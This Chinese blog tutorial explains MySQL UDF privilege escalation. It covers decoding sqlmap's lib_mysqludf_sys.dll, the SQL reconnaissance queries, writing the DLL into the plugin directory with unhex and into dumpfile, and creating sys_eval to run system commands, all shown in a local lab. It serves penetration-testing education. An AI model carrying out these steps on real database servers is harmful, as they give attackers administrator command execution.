首页 > 其他分享 >udf注入

udf注入

时间:2024-03-16 19:31:39浏览次数:21  
标签:文件 dll sys udf file mysql 注入

参考文章:gylq师傅的文章,这是很详细的一篇文章,推荐大家看看,本文是更多的是概括该文内容并加以自己的理解,所以很多重复之处就直接引用文章内容了。
利用MySQL UDF进行的一次渗透测试 - FreeBuf网络安全行业门户

基础知识

前置知识

udf--user defined function,用户自定义函数。
关联语法:

CREATE [AGGREGATE] FUNCTION [IF NOT EXISTS] function_name
    RETURNS {STRING|INTEGER|REAL|DECIMAL}
    SONAME shared_library_name

其中soname指shared_library_name,也就是存放用户自定义函数的文件,windows下为.dll文件,linux下为.so文件。

该文件需要上传至mysql的检索目录下:

  • mysql<5.0 : 任意路径
  • 5.0<=mysql<5.1 : 需要导出至目标服务器的系统目录(如:c:/windows/system32/)
  • mysql>=5.1 : MySQL安装目录下的lib\plugin文件夹下

利用细节

为什么要用到udf注入?

引用:
在一般渗透过程中,拿下一台windows服务器的webshell时,由于webshell权限较低,有些操作无法进行,而此时本地恰好存在mysql数据库,那么udf可能就派上用场了;由于windows安装的mysql进程一般都拥有管理员权限,这就意味着用户自定义的函数也拥有管理员权限,我们也就拥有了执行管理员命令的权限,这时新建管理员用户等操作也就轻而易举了,大多数人称为这一操作为udf提权,其实表达不够准确,应该称为通过mysql获得管理员权限。

udf文件在哪里得到?

sqlmap中有现成的udf文件,
以我的为例:
sqlmap\data\udf\mysql\windows\64。
但是sqlmap中自带的shell以及一些二进制文件,为了防止误杀都经过异或编码,不能直接使用
可以利用sqlmap 自带的解码工具cloak.py,在sqlmap\extra\cloak中打开命令行,来对lib_mysqludf_sys.dll_进行解码在,然后在直接利用,输入下面的
cloak.py -d -i C:\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_
就会得到一个lib_mysqludf_sys.dll,能够直接使用。
该dll文件提供的函数:
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。

一些信息搜集相关sql语句

select version()
select @@basedir  #查看sql安装路径
show variables like "secure_file_priv"; #能读入或写入文件的路径
select @@plugin_dir #查看plugin_dir路径

如何上传该文件?

通过webshell上传文件或通过编码字符上传后再解码回去。
这里讲16进制字符上传:(同理base64那些当然也可以)

先把该文件16进制字符串导出:

用脚本:

file=open('E:/lib_mysqludf_sys.dll', 'rb')
content=file.read()
hex_content=content.hex()
file1=open("E:/a.txt","w")
file1.write(hex_content)

或用mysql语句
select hex(load_file("E:/lib_mysqludf_sys.dll")) into dumpfile "E:/1.txt"
但是后者需要在mysql的配置文件my.ini的mysqld模块下设置安全路径(能够读取文件,上传文件的目录)

任意路径:secure_file_priv=
指定路径:secure_file_priv=/c/example
禁止导入或导出:secure_file_priv=NULL

设置后重启即可。

上传16进制

见本地实验

本地实验

phpstudy搭建,mysql版本8.x.x。
select unhex("") into dumpfile "plugin路径/udf.dll"
unhex里面填得到的16进制字符串
然后create function sys_eval returns string soname 'udf.dll'
最后执行试试:


成功回显。
注意:这里一定要into dumpfile 而非into outfile,前者是以二进制格式写入,后者是以文本格式写入。

标签:文件,dll,sys,udf,file,mysql,注入
From: https://blog.csdn.net/byname1/article/details/136767619

相关文章

  • sqlmap入门教程,对注入点进行自动化注入(入门版)
    1.sqlmap介绍sqlmap是一款开源的渗透测试工具,可以自动化进行SQL注入的检测、利用。下载地址:GitHub-sqlmapproject/sqlmap:AutomaticSQLinjectionanddatabasetakeovertoolsqlmap在kali中打开命令行直接使用即可。2.使用sqlmap自动化检测sql注入点  打开kali,......
  • 解释一下Spring中的IoC(控制反转)和DI(依赖注入)是什么,它们之间有何关系?Spring的Bean的生
    解释一下Spring中的IoC(控制反转)和DI(依赖注入)是什么,它们之间有何关系?在Spring框架中,IoC(控制反转)和DI(依赖注入)是两个核心概念,它们对于实现松耦合和高度可配置的应用程序至关重要。IoC(控制反转):IoC,即控制反转,是一种设计思想,其核心思想是将原本由代码直接操控的对象的调用权交......
  • 彩虹易支付存在的严重SQL注入漏洞正在被滥用
    彩虹易支付存在的严重SQL注入漏洞正在被滥用根据TG群组和Loc(https://hostloc.com/thread-1284026-1-1.html)的消息,彩虹易支付程序上存在的漏洞可被利用来修改订单的支付状态,该程序被广泛用于发卡平台。有黑客正通过Telegram机器人将利用该漏洞的攻击简易化、自动化,该机器人......
  • .Net WebApi中实现自动依赖注入的三种方法
    前言该文仅供学习参考,如有问题请指正。依赖关系注入(DI),是一种软件设计模式,这是一种在类及其依赖项之间实现控制反转(IoC)的技术。.NET中的依赖关系注入是框架的内置部分,与配置、日志记录和选项模式一样。生命周期依赖注入有以下三种生命周期瞬时(Transient):每次......
  • 用友U8 Cloud base64 SQL注入
    简介用友U8Cloud是用友网络科技股份有限公司(简称“用友网络”)推出的一款云端企业管理软件。用友U8Cloud提供了全面的企业管理功能,包括财务管理、人力资源管理、供应链管理、采购管理、销售管理等。支持多种业务模式,适用于不同行业和企业规模的需求,帮助企业实现数字化转型和云......
  • 浙大恩特客户资源管理系统-RegulatePriceAction接口SQL注入
    简介杭州恩软信息技术有限公司(浙大恩特)提供外贸管理软件、外贸客户管理软件等外贸软件,是一家专注于外贸客户资源管理及订单管理产品及服务的综合性公司。漏洞简介浙大恩特客户资源管理系统-RegulatePriceAction接口存在SQL注入漏洞,可以利用该漏洞获取数据库中的信息(例如,管理......
  • 通天星CMSV6车载定位监控平台 SQL注入漏洞复现(XVE-2023-23744)
    0x01产品简介通天星CMSV6车载定位监控平台拥有以位置服务、无线3G/4G视频传输、云存储服务为核心的研发团队,专注于为定位、无线视频终端产品提供平台服务,通天星CMSV6产品覆盖车载录像机、单兵录像机、网络监控摄像机、行驶记录仪等产品的视频综合平台。0x02漏洞概述该漏洞......
  • 5G与SD-WAN的结合为企业网络注入新活力
    5G作为SD-WAN的基础网络,具备超大带宽、超低延迟、海量连接能力,为企业各类业务场景提供了理想的支持,尤其对于对时延极为敏感的工业控制、互动应用、高带宽视频、大规模物联网应用等有着显著的推动作用。通过与5G的融合,SD-WAN在专线、专网和产业应用方面实现了更快速的落地。在......
  • 电机参数辨识算法(2)——基于高频注入的磁链辨识策略
    电机参数辨识算法(1)——基于高频注入的电感辨识策略-CSDN博客https://blog.csdn.net/m0_46903653/article/details/136722750?spm=1001.2014.3001.5501上一期已经讲过了电感辨识方法。今天这是参数辨识的第二期,今天来简单看看磁链的辨识。Tpwm=1e-4;%开关周期Tspeed=1e-......
  • cloudfront 更换证书
    ......